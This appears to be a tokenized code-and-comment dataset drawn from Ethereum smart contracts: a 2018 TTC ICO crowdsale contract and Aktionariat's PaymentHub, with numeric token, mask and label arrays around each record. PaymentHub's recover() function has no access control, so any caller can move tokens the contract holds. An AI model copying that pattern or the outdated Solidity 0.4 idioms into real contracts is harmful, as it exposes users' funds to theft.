[ 1, 2930, 2840, 13750, 11013, 434, 5793, 471, 8027, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 1071, 1131, 13937, 1290, 13971, 273, 1728, 574, 82, 402, 31, 13491, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xc00daa94bb04d9c8bb55c115135e5b60584b884d //Contract name: Crowdsale //Balance: 4,596.848976447495759932 Ether //Verification Date: 5/28/2018 //Transacion Count: 1096 // CODE STARTS HERE pragma solidity ^0.4.16; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; function transfer(address _to, uint _value) public{ balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; function transferFrom(address _from, address _to, uint _value) public { balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) public{ require((_value == 0) || (allowed[msg.sender][_spender] == 0)) ; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() public{ owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public{ if (newOwner != address(0)) { owner = newOwner; } } } /** * TTC token contract. Implements */ contract TTC is StandardToken, Ownable { string public constant name = "TTC"; string public constant symbol = "TTC"; uint public constant decimals = 18; // Constructor function TTC() public { totalSupply = 1000000000000000000000000000; balances[msg.sender] = totalSupply; // Send all tokens to owner } /** * Burn away the specified amount of SkinCoin tokens */ function burn(uint _value) onlyOwner public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Transfer(msg.sender, 0x0, _value); return true; } } contract Crowdsale is Ownable{ using SafeMath for uint; struct Backer { uint weiReceived; uint coinSent; uint coinReadyToSend; } /* * Constants */ /** * ICO Phases. * * - PreStart: tokens are not yet sold/issued * - PreIco: new tokens sold/issued at the discounted price * - PauseIco: tokens are not sold/issued * - MainIco new tokens sold/issued at the regular price * - AfterIco: tokens are not sold/issued */ enum Phases {PreStart, PreIco, PauseIco, MainIco, AfterIco} /* Maximum number of TTC to pre ico sell */ uint public constant PRE_MAX_CAP = 25000000000000000000000000; // 25,000,000 TTC /* Maximum number of TTC to main ico sell */ uint public constant MAIN_MAX_CAP = 125000000000000000000000000; // 125,000,000 TTC /* Minimum amount to invest */ uint public constant MIN_INVEST_ETHER = 100 finney; /* Crowdsale period */ uint private constant PRE_START_TIME = 1520820000; // 2018-03-12 10:00 AM (UTC + 08:00) uint private constant PRE_END_TIME = 1521079200; // 2018-03-15 10:00 AM (UTC + 08:00) uint private constant MAIN_START_TIME = 1522029600; // 2018-03-26 10:00 AM (UTC + 08:00) uint private constant MAIN_END_TIME = 1524189600; // 2018-04-20 10:00 AM (UTC + 08:00) /* Number of TTC per Ether */ uint public constant PRE_COIN_PER_ETHER_ICO = 5000000000000000000000; // 5,000 TTC uint public constant MAIN_COIN_PER_ETHER_ICO = 4000000000000000000000; // 4,000 TTC /* * Variables */ /* TTC contract reference */ TTC public coin; /*Maximum Ether for one address during pre ico or main ico */ uint public maximumCoinsPerAddress = 10 ether; /* Multisig contract that will receive the Ether during pre ico*/ address public preMultisigEther; /* Number of Ether received during pre ico */ uint public preEtherReceived; /* Number of TTC sent to Ether contributors during pre ico */ uint public preCoinSentToEther; /* Multisig contract that will receive the Ether during main ico*/ address public mainMultisigEther; /* Number of Ether received during main ico */ uint public mainEtherReceived; /* Number of TTC sent to Ether contributors during main ico */ uint public mainCoinSentToEther; /* Backers Ether indexed by their Ethereum address */ mapping(address => Backer) public preBackers; address[] internal preReadyToSendAddress; mapping(address => Backer) public mainBackers; address[] internal mainReadyToSendAddress; /* White List */ mapping(address => bool) public whiteList; /* Current Phase */ Phases public phase = Phases.PreStart; /* * Modifiers */ modifier respectTimeFrame() { require((now >= PRE_START_TIME) && (now < PRE_END_TIME ) || (now >= MAIN_START_TIME) && (now < MAIN_END_TIME )); _; } /* * Event */ event LogReceivedETH(address addr, uint value); event LogCoinsEmited(address indexed from, uint amount); /* * Constructor */ function Crowdsale() public{ } /** * Allow to set TTC address */ function setTTCAddress(address _addr) onlyOwner public { require(_addr != address(0)); coin = TTC(_addr); } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigPre(address _addr) onlyOwner public { require(_addr != address(0)); preMultisigEther = _addr; } /** * Allow to change the team multisig address in the case of emergency. */ function setMultisigMain(address _addr) onlyOwner public { require(_addr != address(0)); mainMultisigEther = _addr; } /** * Allow to change the maximum Coin one address can buy during the ico */ function setMaximumCoinsPerAddress(uint _cnt) onlyOwner public{ maximumCoinsPerAddress = _cnt; } /* * The fallback function corresponds to a donation in ETH */ function() respectTimeFrame payable public{ require(whiteList[msg.sender]); receiveETH(msg.sender); } /* * Receives a donation in Ether */ function receiveETH(address _beneficiary) internal { require(msg.value >= MIN_INVEST_ETHER) ; adjustPhaseBasedOnTime(); uint coinToSend ; if(phase == Phases.PreIco) { Backer storage preBacker = preBackers[_beneficiary]; require(preBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(PRE_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(preCoinSentToEther) <= PRE_MAX_CAP) ; preBacker.coinSent = preBacker.coinSent.add(coinToSend); preBacker.weiReceived = preBacker.weiReceived.add(msg.value); preBacker.coinReadyToSend = preBacker.coinReadyToSend.add(coinToSend); preReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding preEtherReceived = preEtherReceived.add(msg.value); preCoinSentToEther = preCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, preEtherReceived); }else if (phase == Phases.MainIco){ Backer storage mainBacker = mainBackers[_beneficiary]; require(mainBacker.weiReceived.add(msg.value) <= maximumCoinsPerAddress); coinToSend = msg.value.mul(MAIN_COIN_PER_ETHER_ICO).div(1 ether); require(coinToSend.add(mainCoinSentToEther) <= MAIN_MAX_CAP) ; mainBacker.coinSent = mainBacker.coinSent.add(coinToSend); mainBacker.weiReceived = mainBacker.weiReceived.add(msg.value); mainBacker.coinReadyToSend = mainBacker.coinReadyToSend.add(coinToSend); mainReadyToSendAddress.push(_beneficiary); // Update the total wei collected during the crowdfunding mainEtherReceived = mainEtherReceived.add(msg.value); mainCoinSentToEther = mainCoinSentToEther.add(coinToSend); // Send events LogReceivedETH(_beneficiary, mainEtherReceived); } } /* * Adjust phase base on time */ function adjustPhaseBasedOnTime() internal { if (now < PRE_START_TIME) { if (phase != Phases.PreStart) { phase = Phases.PreStart; } } else if (now >= PRE_START_TIME && now < PRE_END_TIME) { if (phase != Phases.PreIco) { phase = Phases.PreIco; } } else if (now >= PRE_END_TIME && now < MAIN_START_TIME) { if (phase != Phases.PauseIco) { phase = Phases.PauseIco; } }else if (now >= MAIN_START_TIME && now < MAIN_END_TIME) { if (phase != Phases.MainIco) { phase = Phases.MainIco; } }else { if (phase != Phases.AfterIco){ phase = Phases.AfterIco; } } } /* * Durign the pre ico, should be called by owner to send TTC to beneficiary address */ function preSendTTC() onlyOwner public { for(uint i=0; i < preReadyToSendAddress.length ; i++){ address backerAddress = preReadyToSendAddress[i]; uint coinReadyToSend = preBackers[backerAddress].coinReadyToSend; if ( coinReadyToSend > 0) { preBackers[backerAddress].coinReadyToSend = 0; coin.transfer(backerAddress, coinReadyToSend); LogCoinsEmited(backerAddress, coinReadyToSend); } } delete preReadyToSendAddress; require(preMultisigEther.send(this.balance)) ; } /* * Durign the main ico, should be called by owner to send TTC to beneficiary address */ function mainSendTTC() onlyOwner public{ for(uint i=0; i < mainReadyToSendAddress.length ; i++){ address backerAddress = mainReadyToSendAddress[i]; uint coinReadyToSend = mainBackers[backerAddress].coinReadyToSend; if ( coinReadyToSend > 0) { mainBackers[backerAddress].coinReadyToSend = 0; coin.transfer(backerAddress, coinReadyToSend); LogCoinsEmited(backerAddress, coinReadyToSend); } } delete mainReadyToSendAddress; require(mainMultisigEther.send(this.balance)) ; } /* * White list, only address in white list can buy TTC */ function addWhiteList(address[] _whiteList) onlyOwner public{ for (uint i =0;i<_whiteList.length;i++){ whiteList[_whiteList[i]] = true; } } /* * Finalize the crowdsale, should be called after the refund period */ function finalize() onlyOwner public { adjustPhaseBasedOnTime(); require(phase == Phases.AfterIco); require(this.balance > 0); require(mainMultisigEther.send(this.balance)) ; uint remains = coin.balanceOf(this); if (remains > 0) { coin.transfer(owner,remains); } } /** * Manually back TTC owner address. */ function backTTCOwner() onlyOwner public { coin.transferOwnership(owner); } /** * Transfer remains to owner in case if impossible to do min invest */ function getPreRemainCoins() onlyOwner public { uint preRemains = PRE_MAX_CAP - preCoinSentToEther; Backer storage backer = preBackers[owner]; coin.transfer(owner, preRemains); backer.coinSent = backer.coinSent.add(preRemains); preCoinSentToEther = preCoinSentToEther.add(preRemains); LogCoinsEmited(this ,preRemains); LogReceivedETH(owner, preEtherReceived); } /** * Transfer remains to owner in case if impossible to do min invest */ function getMainRemainCoins() onlyOwner public { uint mainRemains = MAIN_MAX_CAP - mainCoinSentToEther; Backer storage backer = mainBackers[owner]; coin.transfer(owner, mainRemains); backer.coinSent = backer.coinSent.add(mainRemains); mainCoinSentToEther = mainCoinSentToEther.add(mainRemains); LogCoinsEmited(this ,mainRemains); LogReceivedETH(owner, mainEtherReceived); } /** * Refund to specific address */ function refund(address _beneficiary) onlyOwner public { uint valueToSend = 0; Backer storage preBacker = preBackers[_beneficiary]; if (preBacker.coinReadyToSend > 0){ uint preValueToSend = preBacker.coinReadyToSend.mul(1 ether).div(PRE_COIN_PER_ETHER_ICO); preBacker.coinSent = preBacker.coinSent.sub(preBacker.coinReadyToSend); preBacker.weiReceived = preBacker.weiReceived.sub(preValueToSend); preEtherReceived = preEtherReceived.sub(preValueToSend); preCoinSentToEther = preCoinSentToEther.sub(preBacker.coinReadyToSend); preBacker.coinReadyToSend = 0; valueToSend = valueToSend + preValueToSend; } Backer storage mainBacker = mainBackers[_beneficiary]; if (mainBacker.coinReadyToSend > 0){ uint mainValueToSend = mainBacker.coinReadyToSend.mul(1 ether).div(MAIN_COIN_PER_ETHER_ICO); mainBacker.coinSent = mainBacker.coinSent.sub(mainBacker.coinReadyToSend); mainBacker.weiReceived = mainBacker.weiReceived.sub(mainValueToSend); mainEtherReceived = mainEtherReceived.sub(mainValueToSend); mainCoinSentToEther = mainCoinSentToEther.sub(mainBacker.coinReadyToSend); mainBacker.coinReadyToSend = 0; valueToSend = valueToSend + mainValueToSend; } if (valueToSend > 0){ require(_beneficiary.send(valueToSend)); } } /** * Refund to all address */ function refundAll() onlyOwner public { for(uint i=0; i < preReadyToSendAddress.length ; i++){ refund(preReadyToSendAddress[i]); } for(uint j=0; j < mainReadyToSendAddress.length ; j++){ refund(mainReadyToSendAddress[j]); } delete preReadyToSendAddress; delete mainReadyToSendAddress; } }
Backers Ether indexed by their Ethereum address */
mapping(address => Backer) public preBackers;
5,459,368
[ 1, 2711, 414, 512, 1136, 8808, 635, 3675, 512, 18664, 379, 1758, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 2867, 516, 4297, 264, 13, 1071, 675, 2711, 414, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xEBcF2FbE20e7bBBD5232EB186B85c143d362074e/sources/DreamToken.sol
* @notice Adds token lockup balance to ERC20Votes.getVotes value @param account Address to get vote total of/
function getVotes(address account) public view override returns (uint256) { return ERC20Votes.getVotes(account) + _getTokenLockupBalance(account); }
3,685,532
[ 1, 3655, 1147, 2176, 416, 11013, 358, 4232, 39, 3462, 29637, 18, 588, 29637, 460, 225, 2236, 5267, 358, 336, 12501, 2078, 434, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11031, 6366, 12, 2867, 2236, 13, 1071, 1476, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 4232, 39, 3462, 29637, 18, 588, 29637, 12, 4631, 13, 397, 389, 588, 1345, 2531, 416, 13937, 12, 4631, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * SPDX-License-Identifier: LicenseRef-Aktionariat * * MIT License with Automated License Fee Payments * * Copyright (c) 2020 Aktionariat AG (aktionariat.com) * * Permission is hereby granted to any person obtaining a copy of this software * and associated documentation files (the "Software"), to deal in the Software * without restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies of the * Software, and to permit persons to whom the Software is furnished to do so, * subject to the following conditions: * * - The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * - All automated license fee payments integrated into this and related Software * are preserved. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity ^0.8.0; import "../utils/Address.sol"; import "../ERC20/IERC20.sol"; import "../interfaces/IUniswapV3.sol"; import "../interfaces/ITokenReceiver.sol"; import "../utils/Ownable.sol"; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; import "./Brokerbot.sol"; import "hardhat/console.sol"; /** * A hub for payments. This allows tokens that do not support ERC 677 to enjoy similar functionality, * namely interacting with a token-handling smart contract in one transaction, without having to set an allowance first. * Instead, an allowance needs to be set only once, namely for this contract. * Further, it supports automatic conversion from Ether to the payment currency through Uniswap. */ contract PaymentHub { address public immutable weth; address public immutable currency; IQuoter constant uniswapQuoter = IQuoter(0xb27308f9F90D607463bb33eA1BeBb41C27CE5AB6); ISwapRouter constant uniswapRouter = ISwapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564); AggregatorV3Interface internal priceFeedCHFUSD; AggregatorV3Interface internal priceFeedETHUSD; constructor(address _currency, address _aggregatorCHFUSD, address _aggregatorETHUSD) { currency = _currency; weth = uniswapQuoter.WETH9(); priceFeedCHFUSD = AggregatorV3Interface(_aggregatorCHFUSD); priceFeedETHUSD = AggregatorV3Interface(_aggregatorETHUSD); } // Deprecated. Kept for compatibility with old hub function getPriceInEther(uint256 amountOfXCHF) external returns (uint256) { return getPriceInEther(amountOfXCHF, address(0)); } /** * Get price in Ether depding on brokerbot setting. * If keep ETH is set price is from oracle. * This is the method that the Brokerbot widget should use to quote the price to the user. */ function getPriceInEther(uint256 amountOfXCHF, address brokerBot) public returns (uint256) { if ((brokerBot != address(0)) && hasSettingKeepEther(brokerBot)) { return getPriceInEtherFromOracle(amountOfXCHF); } else { return uniswapQuoter.quoteExactOutputSingle(weth, currency, 3000, amountOfXCHF, 0); } } /** * Price in ETH with 18 decimals */ function getPriceInEtherFromOracle(uint256 amountOfXCHF) public view returns (uint256) { return getPriceInUSD(amountOfXCHF) * 10**8 / uint256(getLatestPriceETHUSD()); } /** * Price in USD with 18 decimals */ function getPriceInUSD(uint256 amountOfCHF) public view returns (uint256) { return (uint256(getLatestPriceCHFUSD()) * amountOfCHF) / 10**8; } /** * Returns the latest price of eth/usd pair from chainlink with 8 decimals */ function getLatestPriceETHUSD() public view returns (int256) { ( , int256 price, , , ) = priceFeedETHUSD.latestRoundData(); return price; } /** * Returns the latest price of chf/usd pair from chainlink with 8 decimals */ function getLatestPriceCHFUSD() public view returns (int) { ( , int price, , , ) = priceFeedCHFUSD.latestRoundData(); return price; } /** * Convenience method to swap ether into currency and pay a target address */ function payFromEther(address recipient, uint256 xchfamount) payable public { ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams( weth, currency, 3000, recipient, block.timestamp, xchfamount, msg.value, 0 ); // Executes the swap returning the amountIn needed to spend to receive the desired amountOut. uint256 amountIn = uniswapRouter.exactOutputSingle{value: msg.value}(params); // For exact output swaps, the amountInMaximum may not have all been spent. // If the actual amount spent (amountIn) is less than the specified maximum amount, we must refund the msg.sender and approve the swapRouter to spend 0. if (amountIn < msg.value) { uniswapRouter.refundETH(); payable(msg.sender).transfer(msg.value - amountIn); // return change } } function multiPay(address[] calldata recipients, uint256[] calldata amounts) external { multiPay(currency, recipients, amounts); } function multiPay(address token, address[] calldata recipients, uint256[] calldata amounts) public { for (uint i=0; i<recipients.length; i++) { IERC20(token).transferFrom(msg.sender, recipients[i], amounts[i]); } } /** * Can (at least in theory) save some gas as the sender balance only is touched in one transaction. */ function multiPayAndNotify(address token, address[] calldata recipients, uint256[] calldata amounts, bytes calldata ref) external { for (uint i=0; i<recipients.length; i++) { payAndNotify(token, recipients[i], amounts[i], ref); } } // Allows to make a payment from the sender to an address given an allowance to this contract // Equivalent to xchf.transferAndCall(recipient, xchfamount) function payAndNotify(address recipient, uint256 xchfamount, bytes calldata ref) external { payAndNotify(currency, recipient, xchfamount, ref); } function payAndNotify(address token, address recipient, uint256 amount, bytes calldata ref) public { IERC20(token).transferFrom(msg.sender, recipient, amount); ITokenReceiver(recipient).onTokenTransfer(token, msg.sender, amount, ref); } function payFromEtherAndNotify(address recipient, uint256 xchfamount, bytes calldata ref) payable external { // Check if the brokerbot has setting to keep ETH if (hasSettingKeepEther(recipient)) { uint256 priceInEther = getPriceInEtherFromOracle(xchfamount); Brokerbot(recipient).processIncoming{value: priceInEther}(address(currency), msg.sender, xchfamount, ref); // Pay back ETH that was overpaid if (priceInEther < msg.value) { payable(msg.sender).transfer(msg.value - priceInEther); // return change } } else { payFromEther(recipient, xchfamount); ITokenReceiver(recipient).onTokenTransfer(address(currency), msg.sender, xchfamount, ref); } } /** * Checks if the recipient(brokerbot) has setting enabled to keep ether */ function hasSettingKeepEther(address recipient) public view returns (bool) { return Brokerbot(recipient).settings() & 0x4 == 0x4; } /** * In case tokens have been accidentally sent directly to this contract. * Make sure to be fast as anyone can call this! */ function recover(address ercAddress, address to, uint256 amount) external { IERC20(ercAddress).transfer(to, amount); } // Important to receive ETH refund from Uniswap receive() payable external {} }
* Checks if the recipient(brokerbot) has setting enabled to keep ether/
function hasSettingKeepEther(address recipient) public view returns (bool) { return Brokerbot(recipient).settings() & 0x4 == 0x4; }
2,509,139
[ 1, 4081, 309, 326, 8027, 12, 21722, 4819, 13, 711, 3637, 3696, 358, 3455, 225, 2437, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
